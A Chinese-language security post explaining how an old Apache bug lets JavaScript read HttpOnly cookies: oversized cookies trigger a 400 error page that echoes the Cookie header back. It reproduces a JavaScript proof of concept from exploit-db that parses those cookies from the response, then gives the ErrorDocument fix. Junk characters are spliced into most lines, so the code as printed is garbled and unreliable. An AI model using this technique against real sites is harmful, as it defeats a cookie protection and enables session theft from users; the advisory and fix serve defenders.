很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
- x0 T v* v% r& v% M7 }' ?7 v. `
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:! S' |, D3 I) M0 l
% t0 ?$ H; I! i6 Z& g1 P6 o5 p" j3 |9 J. Y+ O0 T
// http://www.exploit-db.com/exploits/18442/& F% V: ^) @3 z7 m
function setCookies (good) {
; o( ~8 V& V6 U, L: f// Construct string for cookie value6 m" T* V- z; _. ?, n
var str = "";! X3 w4 P9 J. e2 K) @8 q" H! Y
for (var i=0; i< 819; i++) {
; p3 K ?+ R) b) j8 C) g6 zstr += "x";
. _2 T- { ]! \}; U: o) J# X. n. j4 j% q
// Set cookies0 W0 v5 m4 d5 Z1 K0 g8 |
for (i = 0; i < 10; i++) {
/ M1 u3 k/ X0 {7 X+ T: \// Expire evil cookie
0 t, b( d2 I9 B) O# eif (good) {+ {. S h9 ` d
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
6 v, {& n" N- y2 B}
* d. J; {. @5 W3 h4 z% B8 R% d7 G// Set evil cookie
2 z! Z& B7 A3 j2 r$ E# Xelse {0 F. s: i. X( m/ d: |: |
var cookie = "xss"+i+"="+str+";path=/";
1 C% t1 x; `# n1 r& C2 M}! f1 Z4 K" P7 ^% j
document.cookie = cookie;: r0 B4 A! [0 T- ?! @
}
6 H' n# v( f5 ^8 \+ Y}0 o" X) Y; @4 |$ L
function makeRequest() {
8 q3 X% f% W1 v& E" K1 n& OsetCookies();9 u2 m7 V9 C- P7 a
function parseCookies () {
( U/ @" t: X# I7 T! }9 I4 Jvar cookie_dict = {};
7 B# V( G9 z# r$ d( V5 i" }// Only react on 400 status
" [; }1 c7 Z- N, R2 Nif (xhr.readyState === 4 && xhr.status === 400) {) p0 x7 F/ ?/ f. }. F5 d
// Replace newlines and match <pre> content
5 o$ B; {* }! u( T: i# g/ a- cvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);, r- \6 f" ]3 Q3 p
if (content.length) {( `8 G0 B; L$ W
// Remove Cookie: prefix
$ f8 b( W/ P' c, a8 E4 S" ~* M+ Zcontent = content[1].replace("Cookie: ", "");# i# D5 ]% ]1 N. n" G1 c
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);9 a- B% {; P- k2 ^
// Add cookies to object! w. o) i, |" i9 h4 X
for (var i=0; i<cookies.length; i++) {
# v5 Q" p5 i7 e) Jvar s_c = cookies.split('=',2);
`5 u4 e3 y1 E, I; k! Pcookie_dict[s_c[0]] = s_c[1];
& y+ E( {/ n# f) A* Q) G' m. @}
/ t/ \; S3 w2 }* O}
! b+ t3 g0 C: W8 B// Unset malicious cookies
6 [8 B# x c6 SsetCookies(true);. T8 m \7 W" }: H# U" A
alert(JSON.stringify(cookie_dict));
; N( S; r$ b7 D; f}
/ i: {( K" F' X}
2 f5 ~! c, A- u5 {5 `6 K// Make XHR request2 V; D0 @' _& p! I
var xhr = new XMLHttpRequest(); X" n4 n( W8 n5 R, |
xhr.onreadystatechange = parseCookies;
/ K8 m0 g$ `& U# N; Txhr.open("GET", "/", true);
9 Z1 }4 z0 t) u+ ~- z+ D4 kxhr.send(null);
6 e7 ]4 ^1 T( b. p0 y}
8 j: @& j* p/ L7 T) `makeRequest();
9 v4 ~1 K V, B6 t3 t" p
/ a8 f$ t6 _3 Z你就能看见华丽丽的400错误包含着cookie信息。+ e6 ]% g4 q W
3 H* P- d6 N* q4 ~
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#) }4 F# G) A7 `% V
( I2 b$ ]- N* H6 `6 I
修复方案:3 F: @% j; q8 o9 U$ {$ a
- d8 L8 u4 \, ~
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
! l, W3 O, X! h6 }, n: W3 J2 c$ _/ W
In the event of a problem or error, Apachecan be configured to do one of four things,
8 _: t9 p; l8 P
+ r5 e% P: V3 Z* H8 S1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
* a$ a; l1 w" q( `9 D% l2. output acustomized message输出一段信息
" [ P- u- A. M3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ' E) G$ H% R \. A+ U
4. redirect to an external URL to handle theproblem/error转向一个外部URL2 p7 @8 j. ^7 _) W0 O2 J* n
8 ]+ `. A0 E8 t8 G' v
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容1 Z) N2 E3 m* R3 I% E% j) X5 [
3 ^, R' M% C: m* M: J1 r# j" lApache配置:
( C& u- ]- `% X2 z7 V1 [) c7 p; n- [ \5 a8 n1 j
ErrorDocument400 " security test") e; c6 P* \# a
' {* v) r. s7 \, b9 \7 |4 Y8 ^当然,升级apache到最新也可:)。
$ Z- n0 z K ~+ {# w; _6 x3 {5 ^3 v; ~; e" M a! x
参考:http://httpd.apache.org/security/vulnerabilities_22.html
$ ~% I( f$ U0 j2 f @+ [ a: ^. c$ K) V* T0 d4 n! A
|